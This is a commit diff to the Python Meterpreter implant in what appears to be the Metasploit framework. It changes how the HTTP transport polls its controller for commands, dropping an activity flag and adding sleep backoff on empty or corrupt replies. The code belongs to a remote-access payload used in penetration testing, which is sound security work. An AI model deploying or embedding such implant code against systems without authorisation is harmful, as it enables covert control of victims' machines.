Pymet use incremental backoff for http recv pkt

data/meterpreter/meterpreter.py

@@ -409,7 +409,6 @@ class Transport(object):
 	def __init__(self):
 		self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
 		self.communication_last = 0
-		self.communication_active = False
 		self.retry_total = SESSION_RETRY_TOTAL
 		self.retry_wait = SESSION_RETRY_WAIT
 
@@ -446,7 +445,6 @@ class Transport(object):
 				activate_succeeded = False
 			if activate_succeeded:
 				self.communication_last = time.time()
-				self.communication_active = True
 				return True
 			time.sleep(self.retry_wait)
 		return False
@@ -460,11 +458,9 @@ class Transport(object):
 		except:
 			pass
 		self.communication_last = 0
-		self.communication_active = False
 		return True
 
 	def get_packet(self):
-		self.communication_active = False
 		try:
 			pkt = self._get_packet()
 		except:
@@ -472,16 +468,13 @@ class Transport(object):
 		if pkt is None:
 			return None
 		self.communication_last = time.time()
-		self.communication_active = True
 		return pkt
 
 	def send_packet(self, pkt):
 		try:
 			self._send_packet(pkt)
 		except:
-			self.communication_active = False
 			return False
-		self.communication_active = True
 		self.communication_last = time.time()
 		return True
 
@@ -518,6 +511,7 @@ class HttpTransport(Transport):
 		self.url = url
 		self._http_request_headers = {'Content-Type': 'application/octet-stream'}
 		self._first_packet = None
+		self._empty_cnt = 0
 
 	def _activate(self):
 		return True
@@ -537,13 +531,23 @@ class HttpTransport(Transport):
 		request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
 		url_h = urllib.urlopen(request, timeout=self.communication_timeout)
 		packet = url_h.read()
+		for _ in range(1):
 			if packet == '':
-			return ''
+				break
 			if len(packet) < 8:
-			return None  # looks corrupt
+				packet = None  # looks corrupt
+				break
 			pkt_length, _ = struct.unpack('>II', packet[:8])
 			if len(packet) != pkt_length:
-			return None  # looks corrupt
+				packet = None  # looks corrupt
+		if not packet:
+			delay = 10 * self._empty_cnt
+			if self._empty_cnt >= 0:
+				delay *= 10
+			self._empty_cnt += 1
+			time.sleep(float(min(10000, delay)) / 1000)
+			return packet
+		self._empty_cnt = 0
 		return packet[8:]
 
 	def _send_packet(self, packet):
@@ -747,15 +751,12 @@ class PythonMeterpreter(object):
 
 	def run(self):
 		while self.running and not self.session_has_expired:
-			request = None
-			should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 0.75)
-			if should_get_packet:
 			request = self.get_packet()
 			if request:
 				response = self.create_response(request)
 				if response:
 					self.send_packet(response)
-			else:
+				continue
 			# iterate over the keys because self.channels could be modified if one is closed
 			channel_ids = list(self.channels.keys())
 			for channel_id in channel_ids: